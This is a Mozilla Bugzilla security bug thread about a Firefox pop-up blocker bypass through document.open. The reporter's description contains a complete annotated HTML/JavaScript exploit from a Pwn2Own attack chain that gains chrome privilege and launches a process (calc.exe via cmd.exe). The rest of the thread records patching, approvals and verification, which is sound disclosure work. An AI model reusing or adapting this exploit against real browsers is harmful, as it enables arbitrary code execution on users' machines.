Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]] Reporter
	Description • 11 years ago

------------------------
2. POP-UP BLOCKER BYPASS
------------------------

Even after frame navigation, the unloaded window can still execute scripts, provided that the parent window holds a reference to a method such as |eval|. Obviously, it's limited in what it can do, for example all methods that forward operation from the inner window (Window per W3C) to the outer window (WindowProxy per W3C) will raise an exception:

>>>>>>>>>> nsGlobalWindow.cpp >>>>>>>>>>
#define FORWARD_TO_OUTER(method, args, err_rval)                              \

  PR_BEGIN_MACRO                                                              \

  if (IsInnerWindow()) {                                                      \

    nsGlobalWindow *outer = GetOuterWindowInternal();                         \

    if (!HasActiveDocument()) {                                               \

      NS_WARNING(outer ?                                                      \

                 "Inner window does not have active document." :              \

                 "No outer window available!");                               \

      return err_rval;                                                        \

    }                                                                         \

    return outer->method args;                                                \

  }                                                                           \

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

HasActiveDocument() checks for IsCurrentInnerWindow(), which returns false for unloaded inner windows. This prevents users from performing operations in the context of the outer window, now potentially hosting a document from another origin.

This affects window.open() among other things. However, for this particular method, a workaround exists. When document.open() is called with 3 or more arguments, the call is forwarded to window.open():

>>>>>>>>>> nsHTMLDocument.cpp >>>>>>>>>>
nsHTMLDocument::Open(JSContext* /* unused */,
                     const nsAString& aURL,
                     const nsAString& aName,
                     const nsAString& aFeatures,
                     bool aReplace,
                     ErrorResult& rv)
{
  NS_ASSERTION(nsContentUtils::CanCallerAccess(static_cast<nsIDOMHTMLDocument*>(this)),
               "XOW should have caught this!");

  nsCOMPtr<nsIDOMWindow> window = GetWindow();
  if (!window) {
    rv.Throw(NS_ERROR_DOM_INVALID_ACCESS_ERR);
    return nullptr;
  }
  nsCOMPtr<nsIDOMJSWindow> win = do_QueryInterface(window);
  nsCOMPtr<nsIDOMWindow> newWindow;
  // XXXbz We ignore aReplace for now.
  rv = win->OpenJS(aURL, aName, aFeatures, getter_AddRefs(newWindow));
  return newWindow.forget();
}
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

Here, GetWindow() returns the outer window. Thus, OpenJS is called directly on the outer window, and FORWARD_TO_OUTER won't raise any error in nsGlobalWindow::OpenInternal.

This bug can be leveraged to open a new pop-up window when the outer window's active document is chrome-privileged:

>>>>>>>>>> nsGlobalWindow.cpp >>>>>>>>>>
bool
nsGlobalWindow::PopupWhitelisted()
{
  if (!IsPopupBlocked(mDoc))                           <<< mDoc is the XUL document currently loaded in the frame
    return true;
(...)
}

(...)

bool IsPopupBlocked(nsIDocument* aDoc)
{
  nsCOMPtr<nsIPopupWindowManager> pm =
    do_GetService(NS_POPUPWINDOWMANAGER_CONTRACTID);
(...)
  uint32_t permission = nsIPopupWindowManager::ALLOW_POPUP;
  pm->TestPermission(aDoc->NodePrincipal(), &permission);        <<< permission is tested against the system principal...
  return permission == nsIPopupWindowManager::DENY_POPUP;        <<< ... which allows pop-ups, so this returns false
}
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

When a "chrome:" URI is opened in a new window and the "chrome" option is specified as the third argument to document.open(), the URI is opened in a type=chrome window. Chrome windows provide 2 important benefits:

A) They define messageManager, which several chrome pages, such as browser.xul, require to function properly. Due to the missing messageManager, the browser.xul instance which was opened in the content frame threw a script error early on.
B) javascript: URIs opened from such docshells can inherit the system principal.

The feature A) allows browser.js (a script file included from browser.xul) to execute code responsible for reopening the sidebar from the opener window. Since the chrome window hosting browser.xul is being opened from an iframe in the content land, the values browser.js will read from the opener, including the URI of the sidebar, are user-controlled. The exploit replaces the contents of the opener iframe immediately after the call to document.open():

var s = "document.open('chrome://browser/content','','chrome'); location = u";

Where "u" is the URI of the data: document containing the "sidebar" element: <img id="sidebar" src="javascript:code()"> -- and a few others to ensure that browser.js doesn't throw when it tries to read them via the opener reference.

The feature B) mentioned above ensures that |javascript:code()| reopened in the chrome window's sidebar inherits the system-principal from the enclosing browser.xul document. As soon as this happens, the browser is compromised.


-------
EXPLOIT
-------

Here's the exploit code with some additional notes:

<!DOCTYPE html>
<iframe name="i" style="display:none"></iframe>                                       <<< 1
<script>
i.u = "data:text/html," + String(function(){/*#                                       <<< 2
  <form id="sidebar-box" sidebarcommand="frame"><img name="boxObject"></form>         <<< 3
  <img id="sidebar-title">                                                            <<< 4
  <img id="sidebar">                                                                  <<< 5
  <script>
    var s = document.getElementById("sidebar");
    s.src = "javascript:C=Components;c=C.classes;i=C.interfaces;" +
            "f=c['@mozilla.org/file/local;1'].createInstance(i.nsILocalFile);" +
            "p=c['@mozilla.org/process/util;1'].createInstance(i.nsIProcess);" +
            "f.initWithPath('C:\\\\Windows\\\\System32\\\\cmd.exe');" +
            "p.init(f);p.run(0,['/kcalc.exe'],1);top.close()";</#
*/}).match(/#([\s\S]+)#/)[1] + "script>";

var s = "document.open('chrome://browser/content','','chrome'); location = u";        <<< 6
var e = i.eval.bind(0,s);
var c = new mozRTCPeerConnection;

c.createOffer(Map,open.bind(top,"chrome://browser/content","i"));                     <<< 7
setTimeout("c.createOffer(Map,e)",1000);                                              <<< 8
</script>


1. This is the iframe a chrome-privileged page will be loaded in. No source is specified, so it initially loads a same-origin about:blank document. It'll be used to call open() on the outer window after the frame has navigated to the chrome page.
2. The variable |u| stores the URI of the document which the chrome window will see as the opener. Below are its elements.
3. This is to satisfy the following opener references in browser.js, function gBrowserInit.onLoad():
>>>>>>
      let openerSidebarBox = window.opener.document.getElementById("sidebar-box");
(...)
        let sidebarCmd = openerSidebarBox.getAttribute("sidebarcommand");
        let sidebarCmdElem = document.getElementById(sidebarCmd);
(...)
          sidebarBox.setAttribute("width", openerSidebarBox.boxObject.width);
<<<<<<

|sidebarCmd| must be a valid element id from the browser.xul document, "frame" is the shortest one.

4. This is to satisfy the following opener reference in browser.js, function gBrowserInit.onLoad():
>>>>>>
          sidebarTitle.setAttribute(
            "value", window.opener.document.getElementById("sidebar-title").getAttribute("value"));
<<<<<<

5. This is the element whose "src" attribute contains the URI to be opened in the privileged context:
>>>>>>
          sidebarBox.setAttribute(
            "src", window.opener.document.getElementById("sidebar").getAttribute("src"));
<<<<<<

6. Code that will be executed in the about:blank context after the frame has navigated to a chrome page. It's OK if |location| is assigned after the call to document.open, because it takes longer to open the chrome window than to load the data: URI in the frame.

7. The actual action starts here. The first bug is exploited to open a privileged page in the frame.

8. Since #7 happens asynchronously, the next step must be delayed. The chrome page must be loaded before the pop-up blocker bypass with document.open is attempted, but there's one more reason to wait, related to how garbage collection works in Firefox. Shortly after the about:blank document is navigated away, all chrome-to-content object wrappers are nuked and replaced with a DeadObjectProxy, which throws on every access. If GC occured after the bound eval had been wrapped in the call to createOffer, but before the error callback is invoked, the exploit would fail. A 1000ms timeout provides plenty of time for both navigation and GC.

Also, note that the free security pass bug must be reused because document.open would fail to open a privileged page without it -- even if open is called on the outer window with a privileged document, the chrome compartment is never entered, so a separate bypass is needed to ensure that the chrome URI is accepted.

	Blake Kaplan (:mrbkap) (inactive)
	Comment 1 • 11 years ago

I looked at this briefly and this is the most obvious patch around. I don't see any good reasons to skip doing the security check, whether or not our current context is related to a window or not. The free pass patch goes all the way back to the aviary merge and simple investigation didn't turn up the original bug that it was added for.

There might be a better fix to be had...

	Blake Kaplan (:mrbkap) (inactive)
	Comment 2 • 11 years ago

Comment on attachment 8390163 [details] [diff] [review]
Most obvious patch

Sorry, attached this to the wrong bug.

	David Baron :dbaron:
	Comment 3 • 11 years ago

(The patch was intended for bug 982906, and is now there.)

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 4 • 11 years ago

This fixes the testcases (on linux they just throw when they can't access the Windows specific files).
Going through still other possible similar stuff,
but we don't have other OpenJS C++ callers.

	Blake Kaplan (:mrbkap) (inactive)
	Comment 5 • 11 years ago

Comment on attachment 8390177 [details] [diff] [review]
obvious patch

Many thanks to Gabor for cleaning up the GetWindow/GetInnerWindow mess enough to make this patch correct.

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 6 • 11 years ago

Hmm, that patch is for trunk. Testing on Aurora and Beta...

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 7 • 11 years ago

Aurora and Beta should be ok. Looking esr...

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 8 • 11 years ago

Aha, ESR needs more checks.

	Johnny Stenback (:jst)
	Comment 9 • 11 years ago

Comment on attachment 8390177 [details] [diff] [review]
obvious patch

r=jst for this, I'll continue thinking about other places/approaches to this problem...

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 10 • 11 years ago

Hmm, on esr24 showModalDialog may have similar problem.

	Brendan Eich [:brendan]
	Comment 11 • 11 years ago

Distrust all ancient hacks that lack any rationale!

Any more like this? Code smells from light years away. Sorry I didn't notice from my quadrant :-|.

/be

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 12 • 11 years ago

Ah, the fix is actually enough in esr24 case too, since GetInnerWindow does innerwindow correctness check. But ShowModalDialog needs a fix on esr24, as far as I see. (Don't have a testcase for it though.)

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 13 • 11 years ago

A bit hackish macro.
We get to those checks from inner window, and then forward to
outer, so we're really interested in only the inner window case.

Newer branches have similar checks in FORWARD_TO_OUTER, but adding similar
check for all the cases in esr24 feels tiny bit risky.

The reason for the macro is that showModalDialog looks scary.
It does FORWARD_TO_OUTER without any security checks, so OpenInternal ends up
dealing with outer window, just like in OpenJS case of HTMLDocument::Open.

	Jason Smith [:jsmith]
	Comment 14 • 11 years ago

Paul - Is this needed for FxOS 1.3? Please nom if it's needed.

	Paul Theriault [:pauljt] (no longer reading bugmail)
	Comment 15 • 11 years ago

I'm not sure how to test if this affects b2g or not, but from my naive understanding of this bug, I can't see why it wouldn't affect b2g, so  requesting 1.3+.

The issue of modifying the frame so that browser.js [1] retrieves data from the frame and assigns it to a src obviously wont apply since b2g doesn't have xul. But there may be similar situations in b2g chrome code elsewhere.

[1] http://mxr.mozilla.org/mozilla-central/source/browser/base/content/browser.js#843

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 16 • 11 years ago

Comment on attachment 8390177 [details] [diff] [review]
obvious patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
Not easily, but this is pwn2own

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

Which older supported branches are affected by this flaw?
All

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
See the patch for esr24. The fix for esr24 is actually exactly the same, but showModalDialog handling
looks similarly scary there so additional check is added. (don't have a test to show that showModalDialog
actually would have the same issue)

How likely is this patch to cause regressions; how much testing does it need?
This should be quite safe. If document doesn't have inner window at all, it sure is gone, 
and the other check in FORWARD_TO_OUTER lets document.open to work even after document.write
(document.write creates a new inner window), but not after a new page load.

	Robert Kaiser
	Comment 17 • 11 years ago

smaug, I think the beta approval request should technically be a release approval request, as 28 is in the release repo already. Release Management will see it as that anyhow, I guess.

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 18 • 11 years ago

Well, current beta is 28, so I'm asking approval for that, not to the current release build.
If we had a 0-day, I'd ask approval for the release.

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 19 • 11 years ago

Or at least afaik, this isn't actually 0-day. This bug isn't being used actively atm, 
and we weren't going to put these fixes to FF27.
(But I guess it depends on the definition of a 0-day)

	Al Billings [:abillings - ex-MoCo]
	Comment 20 • 11 years ago

Comment on attachment 8390177 [details] [diff] [review]
obvious patch

sec-approval+ for trunk and aurora+.

	Lukas Blakk [:lsblakk] use ?needinfo
	Comment 21 • 11 years ago

Comment on attachment 8390177 [details] [diff] [review]
obvious patch

[Triage Comment]

Landing this to mozilla-beta just for sanity, but we'll actually want this on mozilla-release so as to get it in the 28 respin of final RC -- also approving the esr 24 patch for uplift so it's in the 24.4.0 esr that ships alongside 28

	Ryan VanderMeulen [:RyanVM]
	Comment 22 • 11 years ago

https://hg.mozilla.org/integration/mozilla-inbound/rev/e522b5f583ee

	Al Billings [:abillings - ex-MoCo]
	Comment 23 • 11 years ago

I don't see a reporter name for this. Is this Mariusz, Curstis?

	Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]] Reporter
	Comment 24 • 11 years ago

(In reply to Al Billings [:abillings] from comment #26)
> I don't see a reporter name for this. Is this Mariusz, Curstis?

Yes, this and bug 982906 were both used in concert by Mariusz for his attack.

	Andrew McCreight [:mccr8]
	Comment 25 • 11 years ago

Olli, what should the rating be here?  Inner-outer window confusion on nsHTMLDocument::Open sounds much worse than just a popup blocker bypass.  Does sec-critical make sense, or maybe sec-high or something else?

	Olli Pettay [:smaug][bugs@pettay.fi] Assignee
	Comment 26 • 11 years ago

Well, this + bug 982906 is critical, so I think they both should be handled as critical.

	Ryan VanderMeulen [:RyanVM]
	Comment 27 • 11 years ago

https://hg.mozilla.org/mozilla-central/rev/e522b5f583ee
https://hg.mozilla.org/releases/mozilla-aurora/rev/1b0404fd3518
https://hg.mozilla.org/releases/mozilla-beta/rev/82b2949b1ec2
https://hg.mozilla.org/releases/mozilla-release/rev/82b2949b1ec2
https://hg.mozilla.org/releases/mozilla-b2g28_v1_3/rev/82b2949b1ec2
https://hg.mozilla.org/releases/mozilla-b2g26_v1_2/rev/30c60b474918
https://hg.mozilla.org/releases/mozilla-esr24/rev/524b8c4cd680
https://hg.mozilla.org/releases/mozilla-b2g18/rev/75bdbb5f07a2
https://hg.mozilla.org/releases/mozilla-b2g18_v1_1_0_hd/rev/75bdbb5f07a2

	Ioana (away)
	Comment 28 • 11 years ago

Verified as fixed with the 03/14 Aurora and Nightly on Windows 8.1 64bit, Mac OS X 10.8.5 and Ubuntu 13.04 32bit. No pop-ups are opened by the testcases attached to this bug.

	Matt Wobensmith [:mwobensmith][:matt:]
	Comment 29 • 11 years ago

Confirmed bug on Fx27.0.1, Windows 8.
Verified fix on Fx28, Fx24.4.0esr.